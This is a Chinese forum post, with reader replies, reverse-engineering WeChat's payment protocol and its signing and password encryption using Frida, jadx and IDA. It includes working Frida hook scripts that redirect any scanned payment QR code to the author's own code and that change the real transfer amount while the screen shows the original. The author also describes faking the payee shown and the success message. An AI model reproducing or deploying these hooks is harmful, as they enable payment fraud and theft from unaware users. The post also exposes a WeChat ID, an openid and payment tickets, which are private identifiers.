wx支付流程以及加密的分析
本帖最后由 三年三班三井寿 于 2020-1-9 18:47 编辑本贴仅供学习交流,请勿用作其他任何用途
19年底捣鼓了一阵wx协议,但没有相关资料所以摸索了挺久。后来找了一套旧版的协议源码,奈何支付协议是转不了帐的,所以自己就看了一下这个。而有了协议框架,我们只需要去看转账相关的组包逻辑。
准备:
分析工具:xp,frida,jadx,IDA wx版本:都差不多,706,707,708都看过
首先开启wx的日志xlog,直接搜索
然后找到开关isLogcatOpen赋值的地方,修改第五个参数为1即可
当然也可以直接找其上层调用
var XLOG=Java.use("com.tencent.mm.sdk.platformtools.ab");
//var StringClz=Java.use("java.lang.String");
XLOG.i.overload('java.lang.String', 'java.lang.String', '[Ljava.lang.Object;').implementation=function(s1,s2,s3){
if(s3==null){
console.log("i:"+s1+","+s2);
}else{
console.log("i:"+s1+","+s2+s3);
}
return this.i(arguments,arguments,arguments);
}
XLOG.f.overload('java.lang.String', 'java.lang.String', '[Ljava.lang.Object;').implementation=function(s1,s2,s3){
if(s3==null){
console.log("f:"+s1+","+s2);
}else{
console.log("f:"+s1+","+s2+s3);
}
return this.f(arguments,arguments,arguments);
}
微信组包以及加解密的so文件,LibMMProticalJni.so,其组包函数为pack
我们直接hook其Java层调用
var MMProtocalJni=Java.use("com.tencent.mm.protocal.MMProtocalJni");
MMProtocalJni.pack.implementation=function(){
console.log("MMpack:"+bytesToHex(arguments));
return this.pack(arguments,arguments,arguments,arguments,arguments,arguments,arguments,arguments,arguments,arguments,arguments,arguments,arguments,arguments);
}
首先我们扫付款码,这是之前用xp hook的日志,前面一些基本都是环境设备信息,deviceId,clientVersion之类的,和其他功能组包类似,我们所需要关注的是后面的字符串。明显的是transfer_url就是二维码的字串,进行了简单的编码。WCPaySign是本地计算出来的一个值,而WCPaySign以及channel之间还有一段序列特征,具体是啥也没深入研究,有知道的大佬可以告诉我一下。测试中有时会有encrypt_key以及encrypt_userinfo字段,具体也是由WCPaySign以及channel之间字段决定的。transfer_url是直接通过java库函数URLEncoder解析得到的:我们可以在这里替换用户扫描的二维码,使得对方不管扫什么码都会跳到我们自己的二维码上。比较简单的做法就是直接hook URLEncoder,通过收款码特征或者堆栈进行判断过滤,当然也可以自己重写这个w类构造,构造一个hashMap传入 URLEN.encode.overload("java.lang.String").implementation=function(str){
console.log("URLEN");
var res=this.encode(str);
var stack=instance.currentThread().getStackTrace();
var full_call_stack=where(stack);
return res.indexOf("wxp%3A%2F%2F")==0&&full_call_stack.indexOf("com.tencent.mm.plugin.remittance.model.w.<init>")?
"wxp%3A%2F%2Ff2f0NtReekKHV87BM0pY6k3TVjHlljtYL4sQ":res
}不过如果这样做有一个问题,就是不管是扫谁的二维码,都会跳转到自己的付款页面。那么能不能实现,扫谁的码就出现给谁付款的页面,但实际转账却并不是给他转?换句话说就是页面上显示的一切都是正常的,但实际却转给了另一个人?当然是可以的,不过我们需要先进行模拟扫我们码的操作,然后获取到返回的openid,ticket等。之后在后面付款的时候将正常的这些字段替换成我们的就可以了。扯远了,下面进行定位,寻找WCPaySign的算法。调用堆栈如下,直接调用函数为com.tencent.mm.ak.t.a这个函数比较长,jadx反编译的有问题需要修改设置选项,也可以用jd直接查看调用位置接着找参数赋值的地方,由一个成员变量req实例化为l.b类型后,进行了序列化而req的初始化在t构造函的数中同样的方法hook其构造函数,调用堆栈如下
前两个不用看了,u的构造参数qVar.getReqObj也是t的构造参数,而u的构造是在com.tencent.mm.ak.m.dispatch中,构造参数是它的第二个参数q.getReqObj()的返回值。也是com.tencent.mm.wallet_core.c.u.dispatch的第二个参数
具体赋值的地方在com.tencent.mm.wallet_core.tenpay.model.m.doScene中的rr这里的rr,之前的q,以及最初的req,他们的类型其实都不一样。rr实际上是com.tencent.mm.wallet_core.tenpay.model.m所继承的父类的成员,该类也正是我们所需要找的,赋值的地方在setRequestData中的最后。在此之前,正是计算了WCPaySign。getEncryptUrl是q中一个抽象的方法,实现如下从名称看就是一个3DES(md5(str))的算法,实际上也确实如此其md5计算只是在Java层调用的标准库3DES算法Java层调用接口为encrypt,前一个参数是key,没有则默认除此之外,接口类q中提供了getUri接口,其返回值是post的cgi目录,在com.tencent.mm.wallet_core.c.u onGYNetEnd中的第四个参数传入了q的实例通过反射获取到post接口为/cgi-bin/mmpay-bin/transferscanqrcode接下来进入so层调用的so为libtenpay_utils.so,也是标准生成的C函数在encrypt中很容易发现默认密钥但用这key尝试了几种加密方式,结果都不正确可能并非标准的算法,看了一下置换表也没发现有什么变化,直接将其算法抠出来Des3Str就是分组加密函数,Des3进行了单个分组加密流程就是3DES的加密方式:EK3(Dk2(Ek1(P)))DES_Encode:代码太长就不贴了,当时用的IDA6.8,其反编译的还是多多少少有些坑的,现在用的7.0但也懒得去这部分反编译是不是一样的。注意内存结构就行,然后再用frida对so中的调用依次hook定位问题函数,动态调试即可。这里提一点,sub_D86C函数中反编译的代码中有很多__PAIR__,如果直接用网上ida头文件中的宏定义的话会有问题。而且这个问题并非语法问题,而是ida反编译得不够准确,只能通过调试或看反汇编解决仔细一点观察,就会发现其伪代码逻辑比较奇怪,实际汇编代码如下:可以将那句伪代码直接用x86内联汇编给替代了push eax;
mov eax,r5;
sub eax,1;
sbb r5,eax;
shl r5,1;
mov eax,r5;
mov v21,eax;
pop eax;其实稍作分析,其真实逻辑只是在判断r5是否为0,可以将伪代码改成:v21=(BYTE2(v49)&0x20)?2:0;到此,paysign算出的结果总算正确了。再通过有源码的协议进行封包发送及解包,可以获取到返回的各字段
{{
"retcode": "0",
"retmsg": "",
"user_name": "wxid_7vf3tr41v3g921",
"true_name": "**鹏",
"fee": "0",
"desc": "",
"scene": "32",
"transfer_qrcode_id": "aOqTgOotZtAyyz2gsfUHWPV9hsUkxMEHkCVpM5OynlvT6Q2fy6Cwv1ffb7NLyPf9PNB-CY1mWSZW0YqQjo39TbJJWLdpPDnX2EROxb1aHTx1FKd6jqZf1wgFS98q0D32",
"rcvr_ticket": "Y4pH5nL20VA7CcRPboeyg-4PBk3ma7_U_vksGZzWTBYE4ioVEcz_v6PrG_ZS1QtY",
"get_pay_wifi": 1,
"receiver_openid": "oX2-vjvhwAutxXTxz85dJeSzzG-k",
"scan_scene": 1,
"favor_list": [],
"amount_remind_bit": 4
}}不过12月开始好像就不返回wxid了,也就是user_name返回的是空""类似的,在转账的时候,还有一个密码的算法,快速地说一下,还是一样的通过调用栈去找hook com.tencent.mm.plugin.wallet.pay.a.a.b构造密码是第一个参数authen的成员变量com.tencent.mm.plugin.wallet.pay.a.a.a同理也是一样con.tencent.mm.plugin.wallet.pay.a.a.e里有post地址,当然之前paysign里面那个hook也能获取到:再上一层调用:Authen为cZw()返回值密码通过成员变量hef进行赋值hef赋值的地方再往上找密码字串又找到一个字段vfo密码加密后字符串由getText()得到,具体是com.tencent.mm.wallet_core.ui.formview.c.a.a的返回值跟进去看到,payu和tenpay有两种返回值我们好友转账,扫码转账,包括708新加入的手机号转账走的都是tenpay,i大概是触发的类型,确定交易时是1,输入金额时是100,其实现部分当输入金额时,返回的就是输入的明文数字,其他类型会进行加密。实际上com.tencent.mm.wallet_core.ui.formview.WalletFormView以及com.tencent.mm.wallet_core.ui.formview.EditHintPasswdView的两个getText实现分别返回了输入的金额以及密此码明文,通过此可以修改转账金额,再将生成订单金额还原成之前的金额,即可控制实际转账金额 var WalletOpenViewProxyUI=Java.use("com.tencent.mm.wallet_core.ui.e");
var old="";
WalletOpenViewProxyUI.e.overload("double","java.lang.String").implementation=function(a1,a2){
//var uPn=Java.cast(Authen.class,clazz).getDeclaredField("uPn");
//uPn.setAccessible(true);
//send("uPn:"+uPn.get(a1));
if(a1==0.02)//显示原有金额
a1=Number(old) ;
var res=this.e(a1,a2);
send("a1:"+a1.toString()+",res:"+res);
var stack=instance.currentThread().getStackTrace();
var full_call_stack=where(stack);
//console.log(full_call_stack);
return res;
}
var wwww=Java.use("com.tencent.mm.wallet_core.ui.formview.WalletFormView");
wwww.getText.implementation=function(){
old=this.getText();
return "0.02";//设置实际转账金额
}
当然你有兴趣也可以把转账成功信息给改了,那么用户很可能都不清楚自己转账金额已经被篡改了,好像又扯远了。
我们继续分析加密函数getEncryptDataWithHash,另一个加密get3DesEncryptData不知是什么情况下进行的,getInputText()能获取到密码明文,紧接着会判断mlEncrypt有没有实现,该成员类型是一个接口类
具体实现在com.tenpay.android.wechat.TenpaySecureEncrypt.encryptPasswd,str就是传入的密码明文,先计算了一下md5。str2传入的是时间戳,时间戳是com.tenpay.android.wechat.TenpaySecureEditText的setSalt方法设置的
接下来进入so层还原其算法即可,算法为RSA2048。毕竟密码位数太短,取md5后也很容易被爆破,在加密之前还需要加盐,盐是时间戳以及随机数填充的。
代码太长也就不贴了,同样在IDA6.8中存在一些错误,提一点encrypt_pass1函数中有这三个变量取了同一个地址
然而事实并非这样,通过汇编可以看到在赋值前先抬高了sp,虽然每次都是取的var_6C位置,但前后栈顶已经不一样了:
也就是说只要操作sp的地方,伪代码都是有些问题的,比如这个else里面的v9=&res,res是传入的参数,这种逻辑一看就是有问题的:
通过反汇编看到这里也是通过sp去索引的变量,实际上sp已经抬高了三次,这里真实的索引不是参数res,而是在局部变量s中:
密码加密算法还原后我们就能模拟其支付协议了。不管是好友转账,扫码转账或者手机号转账最后都是需要req_key的,差不多就是个订单号的意思
好友转账可以通过CGI_TENPAY直接传对方wxid然后返回req_key,扫码比较麻烦些,之前WCPaySign那步获取到openid,ticket,qrcode_id等字段,再通过这些字段去生成订单走/cgi-bin/mmpay-bin/busif2fplaceorder获取到req_key。但在12月之前,扫码仍有wxid返回时,可以投机走旧版的协议/cgi-bin/micromsg-bin/tenpay,逻辑与之前setRequestData找的一样,大概就是将map中元素拼接成字符串,最后再计算一个paysign,而map中元素也就是扫码返回的数据
获取到req_key,最终完成转账操作,bank_type和bind_serial是绑定银行卡的类型id,都为CFT时使用零钱,获取bind_serial也很简单,这里就不讨论了。708新增的通过手机号转账也是分为三步,通过/cgi-bin/mmpay-bin/transferphonegetrcvr获取到openid等信息,再通过/cgi-bin/mmpay-bin/transferphoneplaceorder生成订单,获取到req_key,最后再由/cgi-bin/mmpay-bin/tenpay/sns_tf_authen确认订单完成转账。组包中的金额好像进行了一种序列化之类的操作,但还是很容易看得出来的,其算法我们可以自己实现: private int Pow(int x, int n)
{
int res = 1;
while (n > 0)
{
if ((n & 1) == 1) res = res * x;//转化为二进制
x = x * x;//将x平方
n >>= 1;
}
return res;
}
public string getFee(int money,bool isfirst=false,int sign=-1)
{
if (money < 0x80 && isfirst == true)
return String.Format("{0:X2}", money);
int i = 0;
int temp = (int)money;
while ((temp /= 0x80)>=1)
i++;//递归次数
if (isfirst == true) sign = i;
int pow= Pow(128, i);//128 i次方
int dwRes = (pow==1)? money:money/pow;
money = (pow == 1) ?0: money-dwRes * pow;
if (isfirst == false) dwRes += 0x80;
string res = String.Format("{0:X2}", dwRes);
return sign == 0?res: getFee(money, false, --sign)+res;
}
手机转账其实并没有分析很多,很多数据没有分析,只是写死的,但也是能实现手机转账的功能。太晚了不写了,其实也就初探了下微信支付的流程,加密的算法。当然后续还需要进一步的封包压缩加密,但这都有现成的协议代码。虽然wx是一款社交软件,但其加密强度目前来看也是很高的,但在本地上,我们仍能做很多有趣的事情,所以建议大家不要使用wx模块之类的插件
是不是可以理解为我买了东西当对方面去扫对方的微X二维码,显示支付成功后结果却是我给我的另外一个号转钱过去了;或者是2元的东西,显示成功支付2元后,实际上我只支付了1元;或者是别人给我转账,转1元,显示成功支付1元,但是实际上我却收到了他转的2元。这个如果给不法分子利用就麻烦了。 看不懂,不知道大神能不能给个变得跟你一样优秀的思路,至少把这个看得懂 {:1_893:}{:1_893:}有点担心我的十几块钱了 感觉看到是天书 看着都迷糊{:1_921:} 老哥还会军体拳 发表于 2020-1-7 18:13
老哥,漏洞搞得怎么样了
刚接触没多久 大神。路过 看的眼花 感谢,学习了! 天书一本 厉害,学习了 大神。。。 大哥厉害,之后买兰博基尼就靠你了。😄 大神,望尘莫及啊